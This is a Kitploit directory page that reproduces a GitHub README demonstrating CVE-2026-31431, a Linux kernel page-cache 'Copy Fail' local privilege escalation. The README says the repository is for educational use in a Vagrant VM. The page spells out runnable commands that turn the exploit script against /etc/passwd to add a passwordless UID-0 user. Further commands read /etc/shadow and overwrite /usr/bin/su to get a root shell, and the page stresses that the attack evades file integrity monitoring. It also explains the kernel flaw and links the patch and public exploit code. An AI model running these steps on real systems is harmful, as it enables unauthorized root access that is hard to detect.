Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — A demo and explanation of CVE-2026-31431 | Kitploit
Tools/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

A demo and explanation of CVE-2026-31431

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
2 months agoNot yet reviewed

CVE-2026-31431 CopyFail Linux Local Privilege Escalation

A demonstration and explanation of CVE-2026-31431, the Linux Kernel Copy Fail Local Privilege Escalation vulnerability. The vulnerability allows for files opened with read permission to have data overwritten in the page cache.

This repository is for educational purposes only and illustrates the vulnerability in a controlled environment. The files included are:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introduction

The vulnerability, named Copy Fail, is present in Linux kernels from 2017 to 2026 due to a logic flaw in algif_aead. It has been assigned CVE-2026-31431 with a CVSS score of 7.8, leading to a high severity rating. The exploit is deterministic and can bypass traditional file integrity monitoring tools.

Proof of concepts have been published in various languages, including C, Python and Go, but for this demonstration Python is used and requires Python version 3.10 or higher. This exploit requires local code execution as an underprivileged user and can be used for local privilege escalation.

The below sections are:

  • Exploitation: Demonstrations of the exploit and how it can be used to gain root privileges.
  • Note on Exploitation Detection: An explanation of why this exploit is difficult to detect with traditional file integrity monitoring tools.
  • Vulnerability: A link to the commit that introduced the vulnerability and an explanation of the issue.
  • Patch: A link to the commit that patched the vulnerability and an explanation of the fix.
  • Further Resources: A list of resources for further reading and implementations of the exploit in various languages

Exploitation

Setup

Ensure you have Vagrant and QEMU installed. Then, clone this repository and navigate to the project directory.

root@kitploit:~
vagrant up
vagrant ssh

Inside the VM, we can test the limits of our capabilities.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

We are obviously limited in our capabilities, but we can use the vulnerability to escalate privileges.

Exploitation Demo 1: Understanding the Exploit

To understand the vulnerability, lets overwrite a dummy file and see what happens.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

We have a file with three lines. The first line has is 6 bytes (newline included), the second line is 2 bytes, and the third line is a single byte. This is important because the exploit overwrites data in blocks of 4 bytes, and we pad the payload to fill it out.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

We can see we have relaced the first 8 bytes of the file with our payload. There are two characters that are there but are not printable. Open the file in nano to check. But this is not too exciting, so lets move on to write into files that we do not have write permissions for.

Exploitation Demo 2: Removing the Root Password

We can overwrite the contents of /etc/passwd to add a user with root privileges but no password.

root@kitploit:~
cat /etc/passwd

The first line contains the root user and contains 8 groups of 4 characters (including the newline). It is formatted as follows root:x:0:0:root:/root:/bin/bash, and the values refer to username, password, UID, GID, home directory, shell.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

We have added a new user hackd with UID 0 and GID 0, which means it has root privileges. The password field is empty, so we can log in without a password.

root@kitploit:~
su hackd
id
cat /etc/shadow

Exploitation Demo 3: Overwriting an Executable

In the original exploit, the binary /usr/bin/su is overwritten with instructions to execute a shell, allowing the attacker to gain root privileges when executing su. We can recreate this exploit by targetting /usr/bin/su with the original payload from a file. Note that this destroys the su binary in this page cache.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

With the payload in place, we can execute su and gain root privileges. This opens a shell with user id 0, which is typically the root user, but if the above demo was carried out, it would be the hackd user we created. This exploit would open a shell even if the root user has a password.

root@kitploit:~
su
id

Note on Exploitation Detection

This exploit does not modify the on-disk file, but rather the page-cache state. As a result, traditional file integrity monitoring tools that check for changes to files on disk do not detect this exploit.

To demonstrate this, run the above exploit(s) and then after a restart of the VM, check the contents of the target file.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Vulnerability

The following components are used in the exploit:

  1. splice
    • Passes data between file descriptors without copying
    • Modifying a spliced message also modifies page cache
  2. recvmsg
    • Receives piped information and moves data to the buffer for cryptographic operation
    • Inputs AD and CT are copied, TAG is passed per reference AD||CT||TAG
  3. authensc
    • There is an assumption that only AD and CT are modified, but aythensc breaks this
    • AD are divided into seqno_hi and seqno_lo and authensc switches their order in-place by copying it after TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • This sequence gets copied into the reference location

The commit that enabled the in-place optimization that created this vulnerability:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Patch

The patch was made without any public announcements and removes the functionality of the in-place operation in algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Further Resources

Read More:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Python Implementations

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

C Implementations

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Go Implementations

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
Download Tool